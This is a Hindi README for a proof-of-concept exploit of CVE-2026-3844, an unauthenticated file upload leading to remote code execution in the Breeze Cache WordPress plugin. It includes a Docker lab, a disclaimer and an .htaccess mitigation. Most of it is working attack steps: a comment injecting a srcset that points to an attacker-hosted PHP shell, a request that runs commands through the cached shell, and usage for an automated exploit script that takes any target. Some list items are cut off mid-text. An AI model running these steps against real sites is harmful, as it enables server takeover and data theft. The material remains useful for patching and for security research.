
# CVE-2026-3844 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Breeze Cache <= 2.4.4 में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड, जो रिमोट कोड एक्ज़ीक्यूशन (remote code execution) की ओर ले जाता है। इसमें Docker लैब और स्वचालित एक्सप्लॉइट स्क्रिप्ट शामिल है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 क्रिटिकल (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — खतरनाक प्रकार की फ़ाइल का अप्रतिबंधित अपलोड |
| प्लगइन | Breeze Cache by Cloudways |
| प्रभावित | 2.4.4 तक के सभी संस्करण |
| ठीक किया गया | 2.4.5 (changeset 3511463) |
| इंस्टॉल | 400,000+ सक्रिय WordPress इंस्टॉलेशन |
| खोजकर्ता | Hung Nguyen (bashu) |
| प्रकटीकरण | 2026-04-23 |
inc/class-breeze-cache-cronjobs.php में fetch_gravatar_from_remote() फ़ंक्शन दूरस्थ URL डाउनलोड करता है और उन्हें URL से मूल फ़ाइलनाम और एक्सटेंशन का उपयोग करके वेब-सुलभ निर्देशिका में सहेजता है। कोई MIME प्रकार सत्यापन नहीं, कोई एक्सटेंशन व्हाइटलिस्ट नहीं, और कोई सामग्री निरीक्षण नहीं है।
जब "Host Files Locally - Gravatars" सेटिंग सक्षम होती है, तो प्लगइन breeze_replace_gravatar_image() के माध्यम से WordPress के get_avatar फ़िल्टर से जुड़ता है। यह फ़ंक्शन अवतार HTML में srcset और src विशेषताओं से URL निकालने के लिए regex का उपयोग करता है। एक हमलावर एक दुर्भावनापूर्ण srcset विशेषता इंजेक्ट कर सकता है, जिससे प्लगइन एक मनमाना PHP फ़ाइल डाउनलोड और कैश कर सकता है।
क्या गायब है:
.php, .phtml, .phar सभी स्वीकार्य)Attacker WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Comment saved
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar filter fires
| | breeze_replace_gravatar_image()
| | extracts srcset URL via regex
| | calls fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHP file content |
| -----------------------------> |
| | Saved to:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP executes as www-data
| uid=33(www-data) |
| <------------------------------------ |
इस PoC में एक स्व-निहित Docker वातावरण शामिल है:
requests (pip install requests)cd docker/
docker compose up -d --build
WordPress को प्रारंभ करने के लिए ~30 सेकंड प्रतीक्षा करें। सत्यापित करें:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Expected: Stable tag: 2.4.4
Docker सेटअप स्वचालित रूप से:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
PAYLOAD_IP को पेलोड कंटेनर के IP से बदलें:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
अपेक्षित प्रतिक्रिया: पोस्ट पेज पर HTTP 302 रीडायरेक्ट।
टिप्पणी का अवतार रेंडर करने के लिए पोस्ट पेज पर जाएँ, जो Breeze get_avatar फ़िल्टर को सक्रिय करता है और पेलोड डाउनलोड करता है:
curl -s "http://localhost:8088/?p=1" > /dev/null
रेंडर किया गया HTML दिखाता है कि Breeze ने इंजेक्ट किए गए srcset को निकाला और पेलोड को कैश किया:
PHP पेलोड शब्दशः लिखा जाता है, जिसका स्वामी www-data है:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target WordPress target URL (required)
-p, --payload URL of the PHP payload to upload
--post-id Specific post ID to comment on
--timeout HTTP timeout in seconds (default: 15)
--wait Seconds to wait for cron (default: 12)
--check-only Only check plugin version, don't exploit
cd docker/
docker compose down -v --remove-orphans
wp-content/cache/breeze-extra/gravatars/ में .htaccess में जोड़ें:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # This file
docker/
Dockerfile # WordPress + Breeze 2.4.4 image
docker-compose.yml # Full lab (WP + MariaDB + payload server)
entrypoint-custom.sh # Auto-configures WP with vulnerable settings
poc/
exploit.py # Automated PoC exploit script
validate.sh # End-to-end Docker validation harness
payloads/
shell.php # Harmless PoC payload (echo + id)
screenshots/ # SVG terminal screenshots (Charm freeze)
validation/ # RAPTOR exploitability validation output
यह proof-of-concept केवल अधिकृत सुरक्षा परीक्षण, शिक्षा और रक्षात्मक अनुसंधान के लिए प्रदान किया गया है। उन प्रणालियों के खिलाफ अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।